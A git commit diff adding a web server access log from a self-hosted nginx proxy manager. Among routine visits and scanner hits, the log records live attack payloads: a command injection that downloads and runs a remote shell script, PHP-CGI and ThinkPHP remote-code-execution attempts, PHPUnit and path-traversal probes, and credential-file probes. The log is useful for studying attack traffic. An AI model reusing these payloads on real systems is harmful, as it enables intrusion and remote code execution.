Save before adding transparent layer

This commit is contained in:
Wind
2026-02-15 19:12:32 +09:00
parent a0a212e41c
commit 2681563c08
17 changed files with 3883 additions and 55 deletions

View File

@@ -92,3 +92,160 @@
[15/Feb/2026:02:00:59 +0000] 400 - GET https localhost "/" [Client 95.215.0.144] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:02:05:22 +0000] 200 - GET http 222.117.41.51 "/" [Client 162.216.150.206] [Length 568] [Gzip 1.86] "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" "-"
[15/Feb/2026:02:08:26 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:02:19:23 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:02:32:53 +0000] 200 - HEAD http 222.117.41.51 "/" [Client 141.76.94.12] [Length 0] [Gzip -] "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:114.0) Gecko/20100101 Firefox/114.0" "-"
[15/Feb/2026:02:43:40 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:02:44:08 +0000] 404 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 552] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[15/Feb/2026:02:44:08 +0000] 400 - GET http 222.117.41.51 "/.env" [Client 34.158.168.101] [Length 654] [Gzip -] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[15/Feb/2026:02:44:09 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:02:44:09 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 34.158.168.101] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:02:44:10 +0000] 400 - GET http 222.117.41.51 "/" [Client 34.158.168.101] [Length 654] [Gzip -] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0" "-"
[15/Feb/2026:02:47:35 +0000] 200 - GET http 222.117.41.51 "/" [Client 195.3.221.86] [Length 1033] [Gzip -] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" "-"
[15/Feb/2026:02:59:26 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:03:00:36 +0000] 200 - GET http 222.117.41.51 "/" [Client 139.59.181.152] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" "-"
[15/Feb/2026:03:00:36 +0000] 400 - GET http 222.117.41.51 "/favicon.ico" [Client 127.0.0.1] [Length 230] [Gzip -] "-" "-"
[15/Feb/2026:03:02:53 +0000] 404 - GET http 222.117.41.51 "/HNAP1" [Client 139.59.181.152] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "http://222.117.41.51:80/"
[15/Feb/2026:03:03:22 +0000] 404 - POST http 222.117.41.51 "/onvif/device_service" [Client 139.59.181.152] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "http://222.117.41.51:80/"
[15/Feb/2026:03:03:23 +0000] 404 - GET http 222.117.41.51 "/PSIA/index" [Client 139.59.181.152] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "http://222.117.41.51:80/"
[15/Feb/2026:03:05:57 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[15/Feb/2026:03:07:41 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:03:10:31 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:03:11:41 +0000] 200 - GET http 222.117.41.51 "/" [Client 195.178.110.241] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[15/Feb/2026:03:32:54 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:03:53:46 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:03:58:49 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:04:00:23 +0000] 200 - GET http localhost-nginx-proxy-manager "/" [Client 64.226.70.144] [Length 1033] [Gzip -] "-" "-"
[15/Feb/2026:04:00:23 +0000] 404 - GET http 222.117.41.51 "/odinhttpcall1771128023" [Client 64.226.70.144] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-"
[15/Feb/2026:04:00:23 +0000] 200 - GET http localhost-nginx-proxy-manager "/" [Client 64.226.70.144] [Length 1033] [Gzip -] "-" "-"
[15/Feb/2026:04:00:24 +0000] 404 - POST http 222.117.41.51 "/sdk" [Client 64.226.70.144] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-"
[15/Feb/2026:04:00:24 +0000] 404 - GET http 222.117.41.51 "/evox/about" [Client 64.226.70.144] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-"
[15/Feb/2026:04:00:24 +0000] 404 - GET http 222.117.41.51 "/HNAP1" [Client 64.226.70.144] [Length 150] [Gzip -] "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-"
[15/Feb/2026:04:00:24 +0000] 200 - GET http localhost-nginx-proxy-manager "/" [Client 64.226.70.144] [Length 1033] [Gzip -] "-" "-"
[15/Feb/2026:04:00:25 +0000] 200 - GET http 222.117.41.51 "/" [Client 64.226.70.144] [Length 1033] [Gzip -] "-" "-"
[15/Feb/2026:04:00:26 +0000] 404 - GET http 222.117.41.51 "/cgi-bin/authLogin.cgi" [Client 209.38.212.21] [Length 150] [Gzip -] "Go-http-client/1.1" "-"
[15/Feb/2026:04:00:26 +0000] 404 - GET http 222.117.41.51 "/query?q=SHOW+DIAGNOSTICS" [Client 104.248.19.198] [Length 150] [Gzip -] "Go-http-client/1.1" "-"
[15/Feb/2026:04:00:26 +0000] 404 - GET http 222.117.41.51 "/v2/_catalog" [Client 209.38.212.21] [Length 150] [Gzip -] "Go-http-client/1.1" "-"
[15/Feb/2026:04:00:26 +0000] 404 - GET http 222.117.41.51 "/solr/admin/info/system" [Client 46.101.143.239] [Length 150] [Gzip -] "Go-http-client/1.1" "-"
[15/Feb/2026:04:00:26 +0000] 200 - GET http 222.117.41.51 "/" [Client 134.122.88.189] [Length 568] [Gzip 1.86] "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-"
[15/Feb/2026:04:00:26 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 167.71.51.160] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:04:00:26 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 178.128.203.23] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:04:00:26 +0000] 404 - GET http 222.117.41.51 "/solr/admin/cores?action=STATUS&wt=json" [Client 46.101.143.239] [Length 150] [Gzip -] "Go-http-client/1.1" "-"
[15/Feb/2026:04:00:26 +0000] 200 - GET http 222.117.41.51 "/" [Client 209.38.212.21] [Length 568] [Gzip 1.86] "Go-http-client/1.1" "-"
[15/Feb/2026:04:00:26 +0000] 400 - GET http 222.117.41.51 "/favicon.ico" [Client 127.0.0.1] [Length 230] [Gzip -] "-" "-"
[15/Feb/2026:04:00:26 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 178.128.203.23] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:04:00:27 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 209.38.212.21] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:04:02:30 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:04:12:12 +0000] 404 - GET http 222.117.41.51 "/.git/config" [Client 104.192.2.62] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" "-"
[15/Feb/2026:04:21:38 +0000] 404 - GET http 222.117.41.51 "/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname%20-a;cd+%2Ftmp+%7C%7C+cd+%2Fvar%2Frun+%7C%7C+cd+%2Fmnt+%7C%7C+cd+%2Froot+%7C%7C+cd+%2F%3B+wget+http%3A%2F%2F146.103.53.43%2FSakura.sh%3B+chmod+777+%2A%3B+sh+Sakura.sh%3B+rm+-rf+%2A.sh%3B+history+-c" [Client 47.121.210.129] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36" "-"
[15/Feb/2026:04:25:28 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:04:29:08 +0000] 200 - GET http localhost-nginx-proxy-manager "/" [Client 198.235.24.235] [Length 1033] [Gzip -] "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" "-"
[15/Feb/2026:04:36:17 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[15/Feb/2026:04:42:24 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 138.68.130.42] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:04:42:24 +0000] 400 - - http localhost "-" [Client 138.68.130.42] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:04:47:33 +0000] 200 - GET http 222.117.41.51 "/" [Client 195.178.110.241] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:04:47:43 +0000] 404 - GET http 222.117.41.51 "/SDK/duckyisafaggot" [Client 195.178.110.241] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:04:49:19 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:04:51:40 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:04:57:48 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:05:08:50 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[15/Feb/2026:05:09:59 +0000] 200 - GET http 222.117.41.51 "/" [Client 43.156.232.190] [Length 568] [Gzip 1.86] "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" "-"
[15/Feb/2026:05:15:25 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:05:34:15 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 64.62.156.24] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:05:40:34 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:05:43:30 +0000] 400 - POST http localhost-nginx-proxy-manager "-" [Client 82.165.66.87] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:05:43:31 +0000] 400 - POST http localhost-nginx-proxy-manager "-" [Client 82.165.66.87] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:05:43:31 +0000] 404 - POST http 222.117.41.51 "/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:31 +0000] 405 - POST http 222.117.41.51 "/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" [Client 82.165.66.87] [Length 154] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:32 +0000] 404 - GET http 222.117.41.51 "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:32 +0000] 404 - GET http 222.117.41.51 "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:32 +0000] 404 - GET http 222.117.41.51 "/vendor/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:33 +0000] 404 - GET http 222.117.41.51 "/vendor/phpunit/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:33 +0000] 404 - GET http 222.117.41.51 "/vendor/phpunit/phpunit/LICENSE/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:33 +0000] 404 - GET http 222.117.41.51 "/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:34 +0000] 404 - GET http 222.117.41.51 "/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:34 +0000] 404 - GET http 222.117.41.51 "/phpunit/phpunit/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:34 +0000] 404 - GET http 222.117.41.51 "/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:35 +0000] 404 - GET http 222.117.41.51 "/phpunit/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:35 +0000] 404 - GET http 222.117.41.51 "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:35 +0000] 404 - GET http 222.117.41.51 "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:36 +0000] 404 - GET http 222.117.41.51 "/lib/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:36 +0000] 404 - GET http 222.117.41.51 "/lib/phpunit/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:36 +0000] 404 - GET http 222.117.41.51 "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:37 +0000] 404 - GET http 222.117.41.51 "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:37 +0000] 404 - GET http 222.117.41.51 "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:37 +0000] 404 - GET http 222.117.41.51 "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:38 +0000] 404 - GET http 222.117.41.51 "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:38 +0000] 404 - GET http 222.117.41.51 "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:38 +0000] 404 - GET http 222.117.41.51 "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:39 +0000] 404 - GET http 222.117.41.51 "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:39 +0000] 404 - GET http 222.117.41.51 "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:39 +0000] 404 - GET http 222.117.41.51 "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:40 +0000] 404 - GET http 222.117.41.51 "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:40 +0000] 404 - GET http 222.117.41.51 "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:40 +0000] 404 - GET http 222.117.41.51 "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:41 +0000] 404 - GET http 222.117.41.51 "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:41 +0000] 404 - GET http 222.117.41.51 "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:42 +0000] 404 - GET http 222.117.41.51 "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:42 +0000] 404 - GET http 222.117.41.51 "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:42 +0000] 404 - GET http 222.117.41.51 "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:43 +0000] 404 - GET http 222.117.41.51 "/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:43 +0000] 404 - GET http 222.117.41.51 "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:43 +0000] 404 - GET http 222.117.41.51 "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:44 +0000] 404 - GET http 222.117.41.51 "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:44 +0000] 404 - GET http 222.117.41.51 "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:44 +0000] 404 - GET http 222.117.41.51 "/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:45 +0000] 404 - GET http 222.117.41.51 "/public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:45 +0000] 403 - GET http 222.117.41.51 "/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\x22hi\x22));?>+/tmp/index1.php" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:45 +0000] 403 - GET http 222.117.41.51 "/index.php?lang=../../../../../../../../tmp/index1" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:43:46 +0000] 404 - GET http 222.117.41.51 "/containers/json" [Client 82.165.66.87] [Length 150] [Gzip -] "libredtail-http" "-"
[15/Feb/2026:05:47:40 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.194.92.25] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:05:51:37 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.219] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:06:05:26 +0000] 400 - GET http 222.117.41.51 "/.git/config" [Client 104.192.2.62] [Length 252] [Gzip -] "Mozilla/5.0 (Windows NT 6.2; rv:139.0) Gecko/20100101 Firefox/139.0" "-"
[15/Feb/2026:06:06:15 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:06:07:25 +0000] 400 - GET http 222.117.41.51 "/" [Client 199.45.154.135] [Length 252] [Gzip -] "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
[15/Feb/2026:06:07:26 +0000] 400 - - http localhost "-" [Client 199.45.154.135] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:06:07:33 +0000] 400 - GET http 222.117.41.51 "/login" [Client 199.45.154.135] [Length 252] [Gzip -] "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
[15/Feb/2026:06:15:09 +0000] 200 - GET http 222.117.41.51 "/" [Client 68.183.2.105] [Length 568] [Gzip 1.86] "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" "-"
[15/Feb/2026:06:15:10 +0000] 400 - GET http 222.117.41.51 "/favicon.ico" [Client 127.0.0.1] [Length 230] [Gzip -] "-" "-"
[15/Feb/2026:06:29:17 +0000] 200 - GET http 222.117.41.51 "/" [Client 204.76.203.212] [Length 568] [Gzip 1.86] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" "-"
[15/Feb/2026:06:29:32 +0000] 200 - GET http 222.117.41.51 "/" [Client 45.153.34.187] [Length 1033] [Gzip -] "Mozilla/5.0" "-"
[15/Feb/2026:06:37:02 +0000] 200 - GET http 222.117.41.51 "/" [Client 199.45.155.90] [Length 568] [Gzip 1.86] "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
[15/Feb/2026:06:37:03 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 199.45.155.90] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:06:37:04 +0000] 400 - GET http 222.117.41.51 "/favicon.ico" [Client 127.0.0.1] [Length 230] [Gzip -] "-" "-"
[15/Feb/2026:06:37:07 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 199.45.155.90] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:06:37:11 +0000] 404 - GET http 222.117.41.51 "/security.txt" [Client 199.45.155.90] [Length 122] [Gzip 1.35] "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" "-"
[15/Feb/2026:06:37:16 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 199.45.155.90] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:06:42:44 +0000] 200 - GET http localhost-nginx-proxy-manager "/" [Client 45.91.64.6] [Length 1033] [Gzip -] "Mozilla/5.0 (Linux; Android 7.0; ZE520KL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Mobile Safari/537.36" "-"
[15/Feb/2026:06:43:28 +0000] 400 - - http localhost-nginx-proxy-manager "-" [Client 95.215.0.144] [Length 154] [Gzip -] "-" "-"
[15/Feb/2026:06:43:29 +0000] 404 - GET http 222.117.41.51 "/aaa9" [Client 95.215.0.144] [Length 183] [Gzip 3.21] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" "-"
